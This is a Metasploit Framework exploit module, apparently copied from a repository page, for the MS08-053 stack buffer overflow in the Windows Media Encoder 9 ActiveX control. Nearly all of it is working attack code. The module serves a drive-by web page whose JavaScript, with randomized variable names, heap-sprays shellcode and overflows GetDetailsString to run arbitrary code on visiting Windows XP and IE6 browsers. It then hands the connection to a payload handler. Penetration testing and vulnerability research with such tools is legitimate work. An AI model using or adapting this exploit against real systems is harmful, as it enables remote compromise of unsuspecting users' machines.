root / modules / exploits / windows / browser / ms08_053_mediaencoder.rb @ master
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##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote |
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Rank = NormalRanking |
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include Msf::Exploit::Remote::HttpServer::HTML |
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def initialize(info = {}) |
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super(update_info(info,
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'Name' => 'Windows Media Encoder 9 wmex.dll ActiveX Buffer Overflow', |
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'Description' => %q{ |
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This module exploits a stack buffer overflow in Windows Media Encoder 9. When |
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sending an overly long string to the GetDetailsString() method of wmex.dll |
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an attacker may be able to execute arbitrary code. |
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},
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'License' => MSF_LICENSE, |
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'Author' => [ 'MC' ], |
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'Version' => '$Revision$', |
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'References' =>
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[ |
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[ 'CVE', '2008-3008' ], |
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[ 'OSVDB', '47962' ], |
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[ 'BID', '31065' ], |
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[ 'MSB', 'MS08-053' ], |
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], |
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process', |
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}, |
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'Payload' =>
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{
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'Space' => 1024, |
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'BadChars' => "\x00", |
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}, |
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'Platform' => 'win', |
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'Targets' =>
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[ |
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[ 'Windows XP SP2-SP3 IE 6.0 SP0-SP2', { 'Ret' => 0x0C0C0C0C } ] |
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], |
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'DisclosureDate' => 'Sep 9 2008', |
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'DefaultTarget' => 0)) |
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end
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def autofilter |
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false
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end
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def check_dependencies |
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use_zlib |
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end
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def on_request_uri(cli, request) |
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# Re-generate the payload.
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return if ((p = regenerate_payload(cli)) == nil) |
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# Encode the shellcode.
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shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) |
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# Create some nops.
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nops = Rex::Text.to_unescape(make_nops(4)) |
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# Set the return.
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ret = Rex::Text.to_unescape([target.ret].pack('V')) |
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# Randomize the javascript variable names.
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vname = rand_text_alpha(rand(100) + 1) |
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var_i = rand_text_alpha(rand(30) + 2) |
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rand1 = rand_text_alpha(rand(100) + 1) |
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rand2 = rand_text_alpha(rand(100) + 1) |
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rand3 = rand_text_alpha(rand(100) + 1) |
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rand4 = rand_text_alpha(rand(100) + 1) |
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rand5 = rand_text_alpha(rand(100) + 1) |
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rand6 = rand_text_alpha(rand(100) + 1) |
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rand7 = rand_text_alpha(rand(100) + 1) |
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rand8 = rand_text_alpha(rand(100) + 1) |
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content = %Q|
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<html> |
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<object id='#{vname}' classid='clsid:A8D3AD02-7508-4004-B2E9-AD33F087F43C'></object> |
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<script language="JavaScript"> |
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var #{rand1} = unescape('#{shellcode}'); |
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var #{rand2} = unescape('#{nops}'); |
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var #{rand3} = 20; |
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var #{rand4} = #{rand3} + #{rand1}.length; |
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while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2}; |
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var #{rand5} = #{rand2}.substring(0,#{rand4}); |
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var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4}); |
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while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5}; |
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var #{rand7} = new Array(); |
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for (#{var_i} = 0; #{var_i} < 600; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} } |
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var #{rand8} = ""; |
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for (#{var_i} = 0; #{var_i} < 1024; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') } |
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#{vname}.GetDetailsString(#{rand8}, 1); |
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</script> |
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</html> |
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content = Rex::Text.randomize_space(content) |
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print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
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# Transmit the response to the client
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send_response_html(cli, content) |
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# Handle the payload
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handler(cli) |
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end
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end
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